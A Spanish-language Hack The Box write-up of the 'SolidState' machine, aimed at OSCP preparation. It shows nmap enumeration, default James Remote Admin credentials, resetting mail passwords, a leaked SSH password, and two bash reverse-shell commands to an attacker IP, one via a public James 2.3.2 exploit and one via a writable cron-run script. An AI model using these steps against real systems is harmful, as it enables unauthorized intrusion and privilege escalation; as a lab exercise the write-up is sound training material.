Hack the Box es una plataforma en línea para probar y mejorar tus habilidades en pruebas de penetración y ciberseguridad.
En esta serie de artículos mostraremos cómo los evaluadores junior completan algunas máquinas de Hack The Box en su camino hacia OSCP, una certificación muy conocida, respetada y requerida para muchos puestos de ciberseguridad. Los certificados OSCP son capaces de identificar las vulnerabilidades existentes y ejecutar ataques organizados de manera controlada. Pueden aprovechar o modificar el código de exploits existentes en su beneficio, realizar pivoting en la red y exfiltrar datos, y comprometer los sistemas debido a configuraciones deficientes.
¡Empecemos con la diversión!
SolidState
Initial Foothold
Después de una enumeración normal no encontramos nada de interés. Tenemos que hacer un escaneo completo con nmap, que
...y que se produzca un nuevo puerto: 4555 rsip
.
Luego hacemos nmap -sC -sV -p 4555 10.10.10.51
, lo que da como resultado lo siguiente:
4555/tcp open james-admin JAMES Remote Admin 2.3.2
.
Buscando en Google james remote admin 2.3.2
encontramos un exploit de python para James Server 2.3.2 con RCE.
Tira del exploit: searchsploit -x 35513.py
y renómbralo: mv 35513.py exploit.py
.
Parece que el payload del exploit se ejecuta una vez que el usuario se conecta, así que tenemos que encontrar cómo hacerlo primero.
Analizando el exploit, vemos que accede al James Remote Admin con las credenciales por defecto
root:root
. Podemos acceder a ella nosotros mismos haciendo: telnet 10.10.10.51 4555
.
User
Una vez allí, podemos usar help
para listar los comandos disponibles. Uno de ellos destaca: listusers
,
que da lugar a una lista de usuarios. Desde aquí, podemos intentar restablecer sus contraseñas con el comando
setpassword [username] [password]
.
Reajustamos la contraseña de cada uno a su propio nombre, por ejemplo, james:james
". Ahora podemos acceder a su
buzones de correo usando el protocolo POP3. Ninguno de ellos tiene nada relevante excepto mindy
.
telnet 10.10.10.51 110
USER mindy
PASS mindy
LIST
-> Outputs 2 emails.
El segundo correo contiene las credenciales de Mindy.
Dear Mindy,
Here are your ssh credentials to access the system. Remember to reset your password after your first
login. Your access is restricted at the moment, feel free to ask your supervisor to add any
commands you need to your path.
username: mindy
pass: P@55W0rd1!2@
Respectfully,
James
La contraseña para el usuario Mindy es: P@55W0rd1!2@
.
Ahora podemos entrar como Mindy a través de ssh: ssh mindy@10.10.10.51
.
Root
Sin embargo, ya que podemos entrar ahora, podemos activar la carga del script python que encontramos antes.
Cambiar el payload a: '[ "$(id -u)" == "0" ] && bash -c "bash -i >& /dev/tcp/10.10.14.44/12345 0>&1"'
Ahora, para activar el payload:
- Ejecuta el script (python2):
python exploit.py 10.10.10.51
. - Configurar la escucha:
ncat -lnvp 12345.
- Inicie sesión a través de ssh:
ssh mindy@10.10.10.51
.
Obtenemos una shell sin restricciones como usuario mindy.
Descargando y ejecutando bash lse.sh -l1
vemos que tenemos acceso de escritura a /opt/tmp.py
. Haciendo un
una prueba bastante buena con un os.system("touch /tmp/test.txt")
revela que el script está siendo ejecutado durante tres minutos.
Cambie la orden por: os.system("bash -c 'bash -i >& /dev/tcp/10.10.14.44/6969 0>&1'")
configure un puerto escucha y a esperar a que la shell de root aparezca.